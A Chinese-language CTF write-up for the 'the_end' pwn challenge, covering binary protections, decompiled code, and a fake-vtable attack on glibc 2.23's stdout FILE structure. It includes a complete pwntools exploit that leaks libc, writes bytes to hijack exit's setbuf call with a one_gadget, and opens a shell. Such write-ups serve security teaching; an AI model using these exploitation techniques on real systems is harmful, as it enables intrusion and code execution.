相关资源

文件分析

1
2
3
4
5
6
$ checksec the_end 
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
void __fastcall __noreturn main(int a1, char **a2, char **a3) {
int i; // [rsp+4h] [rbp-Ch]
void *buf; // [rsp+8h] [rbp-8h] BYREF

sleep(0);
printf("here is a gift %p, good luck ;)\n", &sleep);
fflush(_bss_start);
close(1);
close(2);
for ( i = 0; i <= 4; ++i ) {
read(0, &buf, 8uLL);
read(0, buf, 1uLL);
}
exit(1337);
}

6#直接泄露libc基地址 10#任意地址写5个字节

攻击方法

开了 Full RELRO, got表写不了 也没有栈溢出 (要写返回地址也是一种可能 但是因为不知道栈地址 相当于四个字节的随机化 实现概率太小)

程序调用 exit 后,会调用 _IO_2_1_stdout_ 下的 vtable_setbuf 函数 可以改写vtablefake_vtable(可写的区域) 然后改写对应_setbuf偏移处的函数指针为one_gadget

注意由于8#关闭了输出流,执行 exec /bin/sh 1>&0 重定向 使输出可见

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from pwn import *
import sys

pty = process.PTY
context(os='linux', arch='i386', log_level='debug')

mode = ''
if len(sys.argv) > 1:
mode = sys.argv[1]

proc = process("./the_end")
libc = ELF("./libc-2.23.so")

def s(x): proc.send(x)
def sl(x): return proc.sendline(x)
def sd(x): return proc.send(x)
def sla(x, y): return proc.sendlineafter(x, y)
def sa(x, y): return proc.sendafter(x, y)
def ru(x): return proc.recvuntil(x)
def rc(): return proc.recv()
def rl(): return proc.recvline()
def li(con): return log.info(con)
def ls(con): return log.success(con)
def pi(): return proc.interactive()
def pcls(): return proc.close()
def ga(): return u64(ru(b'\x7f')[-6:].ljust(8, b'\x00'))


gscript = '''
pie b 0x000000000000093F
c
'''
if mode == '-d':
gdb.attach(proc, gdbscript=gscript)

one_gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]

ru(b'gift ') # 获取libc基地址
libc_base = int(ru(b',').strip(b','), 16) - libc.sym['sleep']
ls("libc base: " + hex(libc_base))

io_stdout = libc_base + libc.sym['_IO_2_1_stdout_']

vtable_addr = libc_base + 0x3C56F8 # vtable存放地址
fake_vtable = libc_base + 0x3C56c0
gadget = libc_base + one_gadgets[2]

li("vtable_addr: " + hex(vtable_addr))

for i in range(2): # 将fake_vtable写入原vtable存放处
s(p64(vtable_addr + i))
s(p8(p64(fake_vtable)[i]))

for i in range(3): # 修改fake_vtable + 0x58函数(原vtable中的setbuf)地址为one_gadget
s(p64(fake_vtable + 0x58 + i))
s(p8(p64(gadget)[i]))

sl(b"exec /bin/sh 1>&0") # 重定向使输出可见
pi()
pause()

参考:https://blog.wingszeng.top/pwn-file-exploitation-fake-vtable
https://ctf-wiki.org/pwn/linux/user-mode/io-file/fake-vtable-exploit/#2018-hctf-the_end

⬆︎TOP